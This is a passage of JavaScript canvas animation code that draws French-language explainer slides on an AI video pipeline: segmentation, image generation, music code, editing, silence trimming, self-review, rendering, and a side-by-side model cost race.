        const ry = y + h + 100 + i * 116, fx = x + 40 + (w - 80) * f;
        ctx.save(); ctx.globalAlpha *= Math.min(1, p * 1.4); ctx.translate((fx - 200) * (1 - p) * .35, -(ry - y - h / 2) * (1 - p));
        const tc = fmtT(sec), whole = tc.slice(0, 6), dec = tc.slice(6);
        text(ctx, whole, 100, midBase(ry, 52), { size: 52, weight: 600, color: C.ink2, fam: 'JetBrains Mono' });
        const dx = 100 + measure(ctx, whole, 52, 600, 0, 'JetBrains Mono');
        if (mk > .002) { ctx.beginPath(); ctx.roundRect(dx - 6, ry - 38, measure(ctx, dec, 52, 600, 0, 'JetBrains Mono') * mk + 12, 76, 12); ctx.fillStyle = 'rgba(37,142,255,.16)'; ctx.fill(); }
        text(ctx, dec, dx, midBase(ry, 52), { size: 52, weight: 700, color: mix(C.ink2, C.blue, mk), fam: 'JetBrains Mono' });
        text(ctx, wd, 520, midBase(ry, 66), { size: 66, weight: 800, ls: -1.5 });
        ctx.restore();
      });
    });
  },
};

// ---- mdVision: step 3, person segmentation. A camera frame; a scan line sweeps down and everything above it becomes
// transparent (checkerboard) with the speaker outlined in blue; then a flip-book counter. {step, frameAt, y,
// scanFrom, scanTo, flipAt, frames: [a, b] (counter range), w: 940 (card width)}
let VIS = null;
const mdVision = {
  needs(s, t, U) { return t >= s.from - .3 && t <= (s.to ?? 1e9) + .7 && U ? [U.cam(s.frameAt), U.cut(s.frameAt)] : []; },
  draw(R, s, t) {
    const { ctx } = R, w = s.w ?? 940, h = Math.round(w * 1080 / 1200), x = W / 2 - w / 2, y = s.y ?? 600;
    const cam = R.img(R.U.cam(s.frameAt)), cut = R.img(R.U.cut(s.frameAt));
    const sc = E.io(seg(t, s.scanFrom, s.scanTo)), ly = y + h * sc, fl = s.flipAt != null ? S(t - s.flipAt, 12) : 0;
    slide(ctx, s, t, () => {
      stepHead(ctx, s, t, R);
      rise(ctx, S(t - s.from - .1, 11), 60, () => {
        for (let k = 3; k >= 1; k--) alpha(ctx, fl, () => { ctx.save(); ctx.translate(x + w / 2, y + h / 2); ctx.rotate(k * .045 * fl); ctx.translate(-(x + w / 2) + k * 22 * fl, -(y + h / 2) + k * 14 * fl); sheet(ctx, x - 12, y - 12, w + 24, h + 24, 30, { elev: .6 }); ctx.restore(); });
        sheet(ctx, x - 12, y - 12, w + 24, h + 24, 30, { elev: 1.3 });
        ctx.save(); ctx.beginPath(); ctx.roundRect(x, y, w, h, 20); ctx.clip();
        if (cam) ctx.drawImage(cam, x, y, w, h);
        if (sc > .001 && cut) {
          ctx.save(); ctx.beginPath(); ctx.rect(x, y, w, ly - y); ctx.clip();
          const q = 40; for (let yy = y; yy < ly; yy += q) for (let xx = x; xx < x + w; xx += q) { ctx.fillStyle = ((xx - x) / q + (yy - y) / q) % 2 ? C.sheet : '#E9E5DB'; ctx.fillRect(xx, yy, q, q); }
          if (!VIS) VIS = new OffscreenCanvas(cut.width, cut.height);
          const v = VIS.getContext('2d'); v.globalCompositeOperation = 'source-over'; v.clearRect(0, 0, VIS.width, VIS.height); v.drawImage(cut, 0, 0);
          v.globalCompositeOperation = 'source-in'; v.fillStyle = C.blue; v.fillRect(0, 0, VIS.width, VIS.height);
          for (let k = 0; k < 12; k++) { const an = k * TAU / 12; ctx.drawImage(VIS, x + Math.cos(an) * 6, y + Math.sin(an) * 6, w, h); }
          ctx.drawImage(cut, x, y, w, h);
          ctx.restore();
        }
        ctx.restore();
        if (t > s.scanFrom - .1 && sc < .999) {
          ctx.save(); ctx.shadowColor = 'rgba(37,142,255,.8)'; ctx.shadowBlur = 24; ctx.fillStyle = C.blue; ctx.fillRect(x - 24, ly - 3, w + 48, 6); ctx.restore();
          const lab = Math.round(sc * 100) + ' %', lw = measure(ctx, lab, 36, 700, 0, 'JetBrains Mono') + 40;
          ctx.beginPath(); ctx.roundRect(x + w + 24 - lw, ly - 70, lw, 56, 28); ctx.fillStyle = C.blue; ctx.fill();
          text(ctx, lab, x + w + 24 - lw / 2, midBase(ly - 42, 36), { size: 36, weight: 700, align: 'center', color: C.white, fam: 'JetBrains Mono' });
        }
      });
      if (s.flipAt != null && fl > .002) {
        const [a, b] = s.frames || [1, 1471], n = Math.round(lerp(a, b, E.out(seg(t, s.flipAt, (s.to ?? s.flipAt + 1.2) - .1))));
        const str = `Image ${String(n).padStart(4, '0')}`;
        rise(ctx, fl, 30, () => chip(ctx, W / 2, y + h + 130, str, { size: 50, h: 104, padX: 40, fill: C.ink, color: C.white, border: false }));
      }
    });
  },
};

// ---- mdDiffuse: step 4, image generation. A prompt types itself, then the picture resolves from big noisy pixels
// to sharp. {step, src, y, prompt: {text, from, to}, genFrom, sharpAt}
let NOISE = null;
const mdDiffuse = {
  needs(s, t) { return t >= s.from - .3 && t <= (s.to ?? 1e9) + .7 ? ['/p/' + s.src] : []; },
  draw(R, s, t) {
    const { ctx } = R, x = 60, w = 960, y = s.y ?? 600, ih = 720, iy = y + 160, img = R.img('/p/' + s.src);
    const q = E.io(seg(t, s.genFrom, s.sharpAt)), started = t >= s.genFrom;
    slide(ctx, s, t, () => {
      stepHead(ctx, s, t, R);
      rise(ctx, S(t - s.from - .1, 11), 50, () => {
        sheet(ctx, x, y, w, 110, 55, { elev: 1.1 });
        const n = Math.round(s.prompt.text.length * clamp((t - s.prompt.from) / (s.prompt.to - s.prompt.from))), str = s.prompt.text.slice(0, Math.max(0, n));
        text(ctx, str || 'Décris une image…', x + 44, midBase(y + 55, 40), { size: 40, weight: 600, color: str ? C.ink : C.ink3 });
        if (n < s.prompt.text.length && t > s.prompt.from - .2 && Math.sin(t * 11) > -.2) { ctx.fillStyle = C.blue; ctx.fillRect(x + 48 + measure(ctx, str, 40, 600), y + 30, 3.5, 50); }
        const go = S(t - s.prompt.to, 14); ctx.beginPath(); ctx.arc(x + w - 55, y + 55, 36, 0, TAU); ctx.fillStyle = mix(C.dim, C.blue, go); ctx.fill();
        ctx.save(); ctx.strokeStyle = C.white; ctx.lineWidth = 6; ctx.lineCap = 'round'; ctx.lineJoin = 'round'; ctx.beginPath(); ctx.moveTo(x + w - 55, y + 72); ctx.lineTo(x + w - 55, y + 38); ctx.moveTo(x + w - 70, y + 52); ctx.lineTo(x + w - 55, y + 38); ctx.lineTo(x + w - 40, y + 52); ctx.stroke(); ctx.restore();
      });
      rise(ctx, S(t - s.genFrom + .3, 11), 60, () => {
        sheet(ctx, x - 12, iy - 12, w + 24, ih + 24, 30, { elev: 1.3 });
        ctx.save(); ctx.beginPath(); ctx.roundRect(x, iy, w, ih, 20); ctx.clip();
        ctx.fillStyle = '#E9E5DB'; ctx.fillRect(x, iy, w, ih);
        if (img && started) {
          const px = Math.max(1, Math.round(120 * Math.pow(1 - q, 2.2)));
          if (px <= 1) cover(ctx, img, x, iy, w, ih);
          else {
            const sw = Math.ceil(w / px), shh = Math.ceil(ih / px), oc = new OffscreenCanvas(sw, shh), o = oc.getContext('2d');
            cover(o, img, 0, 0, sw, shh); ctx.imageSmoothingEnabled = false; ctx.drawImage(oc, x, iy, sw * px, shh * px); ctx.imageSmoothingEnabled = true;
          }
          if (!NOISE) { NOISE = new OffscreenCanvas(256, 256); const g = NOISE.getContext('2d'), d = g.createImageData(256, 256); for (let i = 0; i < d.data.length; i += 4) { const v = Math.random() * 255; d.data[i] = d.data[i + 1] = d.data[i + 2] = v; d.data[i + 3] = 255; } g.putImageData(d, 0, 0); }
          const na = (1 - q) * .55; if (na > .01) { ctx.globalAlpha = na; ctx.globalCompositeOperation = 'overlay'; const f = Math.floor(t * 30), ox = (f * 97) % 256, oy = (f * 61) % 256; for (let yy = iy - oy; yy < iy + ih; yy += 256) for (let xx = x - ox; xx < x + w; xx += 256) ctx.drawImage(NOISE, xx, yy); ctx.globalAlpha = 1; ctx.globalCompositeOperation = 'source-over'; }
          const fl = t >= s.sharpAt ? Math.exp(-(t - s.sharpAt) * 5) : 0; if (fl > .01) { ctx.fillStyle = `rgba(255,255,255,${fl * .7})`; ctx.fillRect(x, iy, w, ih); }
        }
        ctx.restore();
        const by = iy + ih + 80, bw = w - 260;
        ctx.beginPath(); ctx.roundRect(x, by - 8, bw, 16, 8); ctx.fillStyle = 'rgba(40,30,10,.08)'; ctx.fill();
        if (q > .001) { ctx.beginPath(); ctx.roundRect(x, by - 8, Math.max(16, bw * q), 16, 8); ctx.fillStyle = C.blue; ctx.fill(); }
        text(ctx, Math.round(q * 100) + ' %', x + w, midBase(by, 56), { size: 56, weight: 800, align: 'right', color: q > .999 ? C.blue : C.ink, fam: 'JetBrains Mono' });
      });
    });
  },
};

// ---- mdCode: step 5, music and sound effects written as code. Lines type themselves; each finished line fires its
// effect (notes float up, the equaliser jumps). {step, y, file, lines: [{text, at, dur}], eq: false hides the equaliser}
const mdCode = {
  draw(R, s, t) {
    const { ctx } = R, x = 60, w = 960, y = s.y ?? 600, lh = 100, top = 110, h = top + s.lines.length * lh + 50, fs = 46;
    slide(ctx, s, t, () => {
      stepHead(ctx, s, t, R);
      rise(ctx, S(t - s.from - .1, 11), 60, () => {
        sheet(ctx, x, y, w, h, 36, { elev: 1.3 });
        [0, 1, 2].forEach(i => { ctx.beginPath(); ctx.arc(x + 50 + i * 36, y + 52, 11, 0, TAU); ctx.fillStyle = C.dim; ctx.fill(); });
        text(ctx, s.file || 'musique.js', x + w / 2, midBase(y + 52, 34), { size: 34, weight: 600, align: 'center', color: C.ink2, fam: 'JetBrains Mono' });
        ctx.fillStyle = C.line; ctx.fillRect(x, y + 96, w, 2);
        s.lines.forEach((ln, i) => {
          const ly = y + top + 20 + i * lh, d = ln.dur ?? ln.text.length * .03, n = Math.round(ln.text.length * clamp((t - ln.at) / d));
          const done = t >= ln.at + d, act = t >= ln.at && (i === s.lines.length - 1 || t < s.lines[i + 1].at);
          if (act) { ctx.fillStyle = 'rgba(37,142,255,.07)'; ctx.fillRect(x + 4, ly - lh / 2 + 4, w - 8, lh - 8); }
          text(ctx, String(i + 1), x + 70, midBase(ly, 34), { size: 34, weight: 500, align: 'right', color: C.ink3, fam: 'JetBrains Mono' });
          if (n <= 0) return;
          const str = ln.text.slice(0, n); let cx = x + 110;
          for (const m of str.matchAll(/('[^']*'?|\d[\d.]*|[A-Za-z_]+|[^A-Za-z_\d']+)/g)) {
            const tk = m[0], col = /^'/.test(tk) || /^\d/.test(tk) ? C.blue : /^(const|await)$/.test(tk) ? C.blue2 : /^[A-Za-z_]/.test(tk) ? C.ink : C.ink3;
            text(ctx, tk, cx, midBase(ly, fs), { size: fs, weight: /^[A-Za-z_]/.test(tk) ? 600 : 500, color: col, fam: 'JetBrains Mono' }); cx += measure(ctx, tk, fs, /^[A-Za-z_]/.test(tk) ? 600 : 500, 0, 'JetBrains Mono');
          }
          if (!done && Math.sin(t * 12) > -.2) { ctx.fillStyle = C.blue; ctx.fillRect(cx + 2, ly - 26, 3.5, 50); }
          if (done && s.notes !== false) for (let k = 0; k < 3; k++) {   // the line "plays": notes float up from its end
            const u = (t - ln.at - d - k * .12) / 1.1; if (u <= 0 || u >= 1) continue;
            alpha(ctx, (1 - u) * Math.min(1, u * 8), () => note(ctx, cx + 40 + k * 46 + 20 * Math.sin(u * 4 + k), ly - 10 - 170 * E.out(u), .9));
          }
        });
      });
      // equaliser under the editor, driven by the lines that already "play"
      const live = s.lines.filter(l => t >= l.at + (l.dur ?? l.text.length * .03)).length / s.lines.length;
      const kick = s.lines.reduce((m, l) => { const e = t - l.at - (l.dur ?? l.text.length * .03); return e >= 0 ? Math.max(m, Math.exp(-e * 5)) : m; }, 0);
      const ey = y + h + 200, nb = 30, bw = w / nb;
      if (s.eq !== false) alpha(ctx, S(t - s.from - .3, 10), () => {
        for (let i = 0; i < nb; i++) {
          const v = .08 + (.25 + .75 * live) * Math.abs(Math.sin(t * (5 + i * .37) + i * 1.3)) * (.5 + .5 * Math.sin(t * 2.1 + i * .5)) * (.6 + .4 * kick);
          const bh = 14 + 230 * v; ctx.beginPath(); ctx.roundRect(x + i * bw + 5, ey - bh / 2, bw - 10, bh, (bw - 10) / 2); ctx.fillStyle = i % 5 === 0 ? C.blue : mix(C.dim, C.blue, live * .6); ctx.fill();
        }
      });
    });
  },
};

// ---- mdAssemble: step 6, the edit. Clips fly in from everywhere and snap onto their tracks, a playhead runs the
// cut, a stamp lands. {step, y, tracks: [{label, clips: [[a, b]], cam: true}], flyFrom, stagger, playFrom, playTo, stamp: {text, at}}
const mdAssemble = {
  draw(R, s, t) {
    const { ctx } = R, x = 60, w = 960, y = s.y ?? 600, rh = 150, lx = x + 240, lw = w - 240 - 36, h = s.tracks.length * rh + 40;
    const ph = E.io(seg(t, s.playFrom, s.playTo)), phx = lx + lw * ph;
    slide(ctx, s, t, () => {
      stepHead(ctx, s, t, R);
      rise(ctx, S(t - s.from - .05, 11), 50, () => {
        sheet(ctx, x, y, w, h, 36, { elev: 1.2 });
        s.tracks.forEach((tr, i) => {
          const ry = y + 20 + i * rh;
          if (i) { ctx.fillStyle = C.line; ctx.fillRect(x + 30, ry, w - 60, 1.5); }
          text(ctx, tr.label, x + 36, midBase(ry + rh / 2, 42), { size: 42, weight: 700, ls: -.5 });
        });
      });
      let k = 0;
      s.tracks.forEach((tr, i) => tr.clips.forEach(([a, b], j) => {
        const idx = k++, at = s.flyFrom + idx * (s.stagger ?? .075), p = S(t - at, 11); if (p <= .002) return;
        const r = hash(idx * 7.3 + 1), r2 = hash(idx * 3.1 + 5), cx = lx + lw * a, cw = Math.max(26, lw * (b - a) - 6), cy = y + 20 + i * rh + 18, ch = rh - 36;
        const dx = (r - .5) * 1400, dy = (r2 < .5 ? -1 : 1) * (500 + 400 * r2), rot = (r - .5) * .9;
        ctx.save(); ctx.globalAlpha *= Math.min(1, p * 1.5); ctx.translate(cx + cw / 2 + dx * (1 - p), cy + ch / 2 + dy * (1 - p)); ctx.rotate(rot * (1 - p));
        const on = ph > a && ph < b + .01 ? 1 : 0;
        if (tr.cam && R.cam) { ctx.save(); ctx.beginPath(); ctx.roundRect(-cw / 2, -ch / 2, cw, ch, 12); ctx.clip(); cover(ctx, R.cam, -cw / 2, -ch / 2, cw, ch, 0, [.5, .35]); ctx.restore(); ctx.beginPath(); ctx.roundRect(-cw / 2, -ch / 2, cw, ch, 12); ctx.strokeStyle = on ? C.blue : 'rgba(20,22,27,.12)'; ctx.lineWidth = on ? 5 : 2; ctx.stroke(); }
        else if (tr.text) {
          ctx.beginPath(); ctx.roundRect(-cw / 2, -ch / 2, cw, ch, 12); ctx.fillStyle = on ? C.blue : C.sheet; ctx.fill(); ctx.strokeStyle = on ? C.blue : C.line; ctx.lineWidth = 2; ctx.stroke();
          text(ctx, 'Aa', -cw / 2 + 16, midBase(0, 38), { size: 38, weight: 800, color: on ? C.white : C.ink });
        }
        else {
          ctx.beginPath(); ctx.roundRect(-cw / 2, -ch / 2, cw, ch, 12); ctx.fillStyle = on || tr.blue ? C.blue : C.tint; ctx.fill();
          ctx.fillStyle = on || tr.blue ? 'rgba(255,255,255,.85)' : 'rgba(37,142,255,.7)';
          const nb = Math.max(1, Math.floor((cw - 14) / 11)); for (let q = 0; q < nb; q++) { const hh = (ch - 22) * (.2 + .8 * Math.abs(Math.sin(q * 1.3 + i * 2 + j))); ctx.fillRect(-cw / 2 + 8 + q * 11, -hh / 2, 5, hh); }
        }
        ctx.restore();
      }));
      if (t > s.playFrom - .2) alpha(ctx, vis(t, s.playFrom - .2, 1e9, 14), () => {
        ctx.fillStyle = C.ink; ctx.fillRect(phx - 2.5, y + 6, 5, h - 12);
        ctx.beginPath(); ctx.moveTo(phx - 16, y - 8); ctx.lineTo(phx + 16, y - 8); ctx.lineTo(phx, y + 14); ctx.closePath(); ctx.fill();
      });
      if (s.stamp) stamp(ctx, W / 2, y + h + 190, s.stamp.text, S(t - s.stamp.at, 16), { size: 70, rot: -.05 });
    });
  },
};


// a mini 9:16 short (paper top with a card in variant k, the live camera below, a caption pill at capAt of the height).
// Used by mdStills and mdRender.
function miniShort(R, ctx, x, y, w, h, k, o = {}) {
  ctx.save(); ctx.beginPath(); ctx.roundRect(x, y, w, h, o.r ?? 14); ctx.clip();
  ctx.fillStyle = C.paper; ctx.fillRect(x, y, w, h);
  const sh = h * .5; if (R.cam) cover(ctx, R.cam, x, y + sh, w, h - sh, 0, [.5, .3]);
  const cx = x + w * .1, cw = w * .8, cy = y + sh * .2, ch = sh * .64, v = ((k % 4) + 4) % 4;
  ctx.fillStyle = C.sheet; ctx.beginPath(); ctx.roundRect(cx, cy, cw, ch, w * .05); ctx.fill();
  ctx.strokeStyle = 'rgba(60,45,20,.1)'; ctx.lineWidth = 1.5; ctx.stroke();
  if (v === 0) text(ctx, '92', cx + cw / 2, midBase(cy + ch / 2, w * .3), { size: w * .3, weight: 800, align: 'center', color: C.blue, ls: -2 });
  else if (v === 1) [.85, .55, .3].forEach((f, i) => { ctx.beginPath(); ctx.roundRect(cx + cw * .12, cy + ch * (.22 + i * .24), cw * .76 * f, ch * .14, ch * .07); ctx.fillStyle = i ? C.dim : C.blue; ctx.fill(); });
  else if (v === 2) { ctx.beginPath(); ctx.arc(cx + cw * .22, cy + ch * .32, cw * .09, 0, TAU); ctx.fillStyle = C.blue; ctx.fill(); [.6, .78, .45].forEach((f, i) => { ctx.beginPath(); ctx.roundRect(cx + cw * (i ? .12 : .38), cy + ch * (.25 + i * .24), cw * f * (i ? 1 : .8), ch * .1, ch * .05); ctx.fillStyle = C.dim; ctx.fill(); }); }
  else { ctx.beginPath(); ctx.arc(cx + cw / 2, cy + ch / 2, ch * .3, 0, TAU); ctx.fillStyle = C.blue; ctx.fill(); checkIcon(ctx, cx + cw / 2, cy + ch / 2, ch * .3, C.white); }
  const pw = w * .62, ph = h * .055, py = y + h * (o.capAt ?? .6);
  ctx.beginPath(); ctx.roundRect(x + w / 2 - pw / 2, py - ph / 2, pw, ph, ph / 2); ctx.fillStyle = C.white; ctx.fill();
  ctx.beginPath(); ctx.roundRect(x + w / 2 - pw / 2 + ph * .4, py - ph * .17, pw * .42, ph * .34, ph * .17); ctx.fillStyle = C.ink; ctx.fill();
  ctx.beginPath(); ctx.roundRect(x + w / 2 - pw / 2 + ph * .4 + pw * .46, py - ph * .17, pw * .3, ph * .34, ph * .17); ctx.fillStyle = C.blue; ctx.fill();
  ctx.restore();
}

// ---- mdCut: the tightening. A waveform with its silences; they get marked, close up, the speed stamp lands and a
// big clock runs down. {step, y, markAt, closeAt, speedAt, speed: '×1.15', factor: 1.15, clock: {start: 60, stop: 40, at, endAt}}
const CUTSEG = [[9, 0], [4, 1], [7, 0], [5, 1], [10, 0], [3, 1], [8, 0], [6, 1], [9, 0]];   // [bars, is silence]
const mdCut = {
  draw(R, s, t) {
    const { ctx } = R, x = 60, w = 960, y = s.y ?? 600, h = 300;
    const mk = s.markAt != null ? S(t - s.markAt, 12) : 0, cl = s.closeAt != null ? E.io(seg(t, s.closeAt, s.closeAt + .55)) : 0;
    const sp = s.speedAt != null ? E.io(seg(t, s.speedAt, s.speedAt + .5)) : 0, k = 1 - (1 - 1 / (s.factor || 1.15)) * sp;
    const total = CUTSEG.reduce((a, [n]) => a + n, 0), kept = CUTSEG.reduce((a, [n, g]) => a + (g ? 0 : n), 0), bw = (w - 80) / total;
    const span = (total - (total - kept) * cl) * bw * k;
    slide(ctx, s, t, () => {
      stepHead(ctx, s, t, R);
      rise(ctx, S(t - s.from - .1, 11), 60, () => {
        sheet(ctx, x, y, w, h, 36, { elev: 1.2 });
        let bx = x + w / 2 - span / 2, bi = 0;
        for (const [nb, gap] of CUTSEG) {
          const ww = bw * k * (gap ? 1 - cl : 1);
          if (gap && ww > .4) {
            alpha(ctx, mk * (1 - cl), () => {
              ctx.beginPath(); ctx.roundRect(bx + 2, y + 34, nb * ww - 4, h - 68, 14); ctx.fillStyle = 'rgba(37,142,255,.12)'; ctx.fill();
              ctx.setLineDash([12, 9]); ctx.strokeStyle = C.blue; ctx.lineWidth = 3; ctx.stroke(); ctx.setLineDash([]);
            });
            alpha(ctx, 1 - cl, () => { for (let i = 0; i < nb; i++) { ctx.beginPath(); ctx.roundRect(bx + i * ww + 2, y + h / 2 - 6, Math.max(1, ww - 5), 12, 6); ctx.fillStyle = C.dim; ctx.fill(); } });
          } else if (!gap) for (let i = 0; i < nb; i++) {
            const v = .2 + .8 * Math.pow(noise1((bi + i) * .55 + 3), 1.3) * (.55 + .45 * Math.abs(Math.sin((bi + i) * .9))), bh = (h - 80) * v;
            ctx.beginPath(); ctx.roundRect(bx + i * ww + 2, y + h / 2 - bh / 2, ww - 5, bh, (ww - 5) / 2); ctx.fillStyle = mix(C.ink2, C.blue, cl); ctx.fill();
          }
          bx += nb * ww; bi += nb;
        }
      });
      if (s.speedAt != null) stamp(ctx, W / 2, y + h + 120, s.speed || '×1.15', S(t - s.speedAt, 16), { size: 76 });
      if (s.clock) {
        const c = s.clock, q = E.io(seg(t, c.at, c.endAt)), v = Math.round(lerp(c.start, c.stop, q)), str = `${Math.floor(v / 60)}:${String(v % 60).padStart(2, '0')}`;
        rise(ctx, S(t - c.at + .35, 12), 40, () => text(ctx, str, W / 2, midBase(y + h + 350, 210), { size: 210, weight: 800, align: 'center', ls: -6, fam: 'JetBrains Mono', color: q >= .999 ? C.blue : C.ink }));
      }
    });
  },
};

// ---- mdStills: the self-review. A contact sheet of stills drops in, a loupe scans it, one still gets flagged (its
// caption covers the card), then the caption slides into place and the flag turns into a check.
// {step, y, enterAt, scanFrom, flagAt, flag (index 0..7), fixAt}
const mdStills = {
  draw(R, s, t) {
    const { ctx } = R, cols = 4, gap = 24, x0 = 60, tw = (960 - gap * (cols - 1)) / cols, th = tw * 16 / 9, y0 = s.y ?? 560;
    const fi = s.flag ?? 5, fl = s.flagAt != null ? S(t - s.flagAt, 14) : 0, fx = s.fixAt != null ? S(t - s.fixAt, 11) : 0;
    const ctr = i => [x0 + (i % cols) * (tw + gap) + tw / 2, y0 + Math.floor(i / cols) * (th + gap) + th / 2];
    slide(ctx, s, t, () => {
      stepHead(ctx, s, t, R);
      for (let i = 0; i < 8; i++) {
        const [cx, cy] = ctr(i), x = cx - tw / 2, y = cy - th / 2, p = S(t - (s.enterAt ?? s.from + .1) - i * .06, 12); if (p <= .002) continue;
        rise(ctx, p, 50, () => {
          const isF = i === fi;
          sheet(ctx, x - 6, y - 6, tw + 12, th + 12, 18, { elev: .9 });
          miniShort(R, ctx, x, y, tw, th, i, { capAt: isF ? lerp(.36, .62, E.io(fx)) : .62 });
          if (!isF) alpha(ctx, fl * .5 * (1 - fx), () => { ctx.beginPath(); ctx.roundRect(x - 6, y - 6, tw + 12, th + 12, 18); ctx.fillStyle = C.paper; ctx.fill(); });
          if (isF && fl > .002) {
            ctx.beginPath(); ctx.roundRect(x - 14, y - 14, tw + 28, th + 28, 24); ctx.strokeStyle = C.blue; ctx.lineWidth = 7 * fl; ctx.stroke();
            ctx.save(); ctx.translate(x + tw - 2, y + 2); const kk = .6 + .4 * fl; ctx.scale(kk, kk);
            ctx.beginPath(); ctx.arc(0, 0, 40, 0, TAU); ctx.fillStyle = C.blue; ctx.fill();
            alpha(ctx, 1 - fx, () => text(ctx, '!', 0, midBase(0, 54), { size: 54, weight: 800, align: 'center', color: C.white }));
            if (fx > .002) checkIcon(ctx, 0, 0, 40, C.white, fx);
            ctx.restore();
          }
        });
      }
      // the loupe: snakes over the sheet and stops on the flagged still, magnifying what is under it
      if (s.scanFrom != null) {
        const order = [0, 1, 2, 3, 7, 6, 5, 4], path = order.slice(0, order.indexOf(fi) + 1).map(ctr);
        path[path.length - 1] = [path.at(-1)[0], path.at(-1)[1] - th * .14];   // parks on the flagged caption, over the card it covers
        const end = s.flagAt ?? s.scanFrom + 1.5, q = E.io(seg(t, s.scanFrom, end)) * (path.length - 1), j = Math.min(path.length - 2, Math.floor(q)), f = q - j;
        const [lx, ly] = path.length > 1 ? [lerp(path[j][0], path[j + 1][0], f), lerp(path[j][1], path[j + 1][1], f)] : path[0];
        const a = S(t - s.scanFrom + .25, 12) * (1 - S(t - (s.fixAt ?? end + 1) - .5, 10));
        alpha(ctx, a, () => {
          const r = 96, z = 1.7, sr = r / z, m = ctx.getTransform();
          ctx.save(); ctx.beginPath(); ctx.arc(lx, ly, r, 0, TAU); ctx.clip();
          ctx.drawImage(ctx.canvas, m.a * (lx - sr) + m.e, m.d * (ly - sr) + m.f, 2 * sr * m.a, 2 * sr * m.d, lx - r, ly - r, 2 * r, 2 * r);
          ctx.restore();
          ctx.lineCap = 'round'; ctx.strokeStyle = C.ink;
          ctx.lineWidth = 24; ctx.beginPath(); ctx.moveTo(lx + r * .78, ly + r * .78); ctx.lineTo(lx + r * 1.45, ly + r * 1.45); ctx.stroke();
          ctx.lineWidth = 11; ctx.beginPath(); ctx.arc(lx, ly, r, 0, TAU); ctx.stroke();
          ctx.lineWidth = 6; ctx.strokeStyle = 'rgba(255,255,255,.7)'; ctx.beginPath(); ctx.arc(lx, ly, r - 22, -2.6, -1.9); ctx.stroke();
        });
      }
    });
  },
};

// ---- mdRender: the render. A browser window renders the short frame by frame (preview, counter, progress), then
// two bars compare the video length with the render time. {step, y, total, renderFrom, renderTo, url,
// bars: [{label, value, frac, at, blue}]}
const mdRender = {
  draw(R, s, t) {
    const { ctx } = R, x = 60, w = 960, y = s.y ?? 600, h = 520, tot = s.total || 2760;
    const q = E.io(seg(t, s.renderFrom, s.renderTo)), n = Math.round(tot * q), done = q >= .999;
    slide(ctx, s, t, () => {
      stepHead(ctx, s, t, R);
      rise(ctx, S(t - s.from - .1, 11), 60, () => {
        sheet(ctx, x, y, w, h, 30, { elev: 1.3 });
        [0, 1, 2].forEach(i => { ctx.beginPath(); ctx.arc(x + 46 + i * 34, y + 44, 10, 0, TAU); ctx.fillStyle = C.dim; ctx.fill(); });
        ctx.beginPath(); ctx.roundRect(x + 170, y + 20, w - 210, 48, 24); ctx.fillStyle = 'rgba(40,30,10,.06)'; ctx.fill();
        text(ctx, s.url || 'localhost:3000/render', x + 200, midBase(y + 44, 28), { size: 28, weight: 500, color: C.ink2, fam: 'JetBrains Mono' });
        ctx.fillStyle = C.line; ctx.fillRect(x, y + 88, w, 2);
        const pw = 232, ph = pw * 16 / 9, px = x + 46, py = y + 88 + (h - 88 - ph) / 2;
        miniShort(R, ctx, px, py, pw, ph, Math.floor(n / 45), { r: 12 });
        const rx = px + pw + 60, bwid = x + w - 50 - rx;
        text(ctx, 'Image', rx, midBase(y + 170, 42), { size: 42, weight: 600, color: C.ink2 });
        text(ctx, String(n).padStart(4, '0'), rx, midBase(y + 275, 124), { size: 124, weight: 800, ls: -4, fam: 'JetBrains Mono', color: done ? C.blue : C.ink });
        text(ctx, '/ ' + tot, rx + 6, midBase(y + 368, 44), { size: 44, weight: 600, color: C.ink3, fam: 'JetBrains Mono' });
        ctx.beginPath(); ctx.roundRect(rx, y + 432, bwid, 18, 9); ctx.fillStyle = 'rgba(40,30,10,.08)'; ctx.fill();
        if (q > .001) { ctx.beginPath(); ctx.roundRect(rx, y + 432, Math.max(18, bwid * q), 18, 9); ctx.fillStyle = C.blue; ctx.fill(); }
      });
      (s.bars || []).forEach((b, i) => {
        const p = S(t - b.at, 11), by = y + h + 105 + i * 118, bx = x + 210, full = w - 210 - 190; if (p <= .002) return;
        rise(ctx, Math.min(1, p * 1.5), 24, () => {
          text(ctx, b.label, x, midBase(by, 50), { size: 50, weight: 800, ls: -1 });
          const bl = Math.max(56, full * b.frac * E.out(p));
          ctx.beginPath(); ctx.roundRect(bx, by - 30, bl, 60, 30); ctx.fillStyle = b.blue ? C.blue : C.ink; ctx.fill();
          text(ctx, b.value, bx + bl + 24, midBase(by, 56), { size: 56, weight: 800, fam: 'JetBrains Mono', color: b.blue ? C.blue : C.ink });
        });
      });
    });
  },
};


// ---- race: two models, same prompt, side by side. Each panel = a paper sheet with a header bar (logo, name, live
// cost counter + elapsed time) over its generation playing. Counters run from 0 to the real cost between countFrom
// and each panel's own finish (scaled to its real duration, so the faster model stops first and gets a check).
// winnerAt: the cheaper panel gets the blue ring, its price turns blue, and `chip` lands centred below.
// {header?: {text, at}, footer?: {text, at, logo}, countFrom, countTo, winnerAt, chip?: {text, at}, stack?: bool,
//  panels: [{name, logo: 'claude'|'codex'|'openai', media, offset, cost, costSuffix, time (s), ar}]}
LOGO.openai = (ctx, cx, cy, r, col) => {   // six interlocking petals, drawn as rotated rounded strokes
  ctx.save(); ctx.strokeStyle = col; ctx.lineWidth = r * .17; ctx.lineJoin = 'round';
  for (let i = 0; i < 6; i++) { ctx.save(); ctx.translate(cx, cy); ctx.rotate(i * TAU / 6); ctx.beginPath(); ctx.roundRect(-r * .2, -r * .92, r * .4, r * .9, r * .2); ctx.stroke(); ctx.restore(); }
  ctx.restore();
};
export const money = (v, suffix = '') => '$' + (v >= 100 ? v.toFixed(0) : v.toFixed(2)) + suffix;
export const clock = sec => { sec = Math.round(sec); const h = Math.floor(sec / 3600), m = Math.floor(sec % 3600 / 60), s_ = sec % 60; return h ? `${h}h ${String(m).padStart(2, '0')}m` : m ? `${m}m ${String(s_).padStart(2, '0')}s` : `${s_}s`; };
export function raceTiming(s) {   // per-panel finish time: the slowest one ends at countTo
  const maxT = Math.max(...s.panels.map(p => p.time || 1));
  return s.panels.map(p => s.countFrom + (s.countTo - s.countFrom) * Math.max(.35, (p.time || maxT) / maxT));
}
export function raceLayout(s, H_) {
  const n = s.panels.length, top = s.header ? 150 : 44, bottom = (s.footer ? 70 : 30) + (s.chip ? 110 : 0), gap = 30, m = 44;
  const stack = s.stack ?? H_ > W * 1.2;
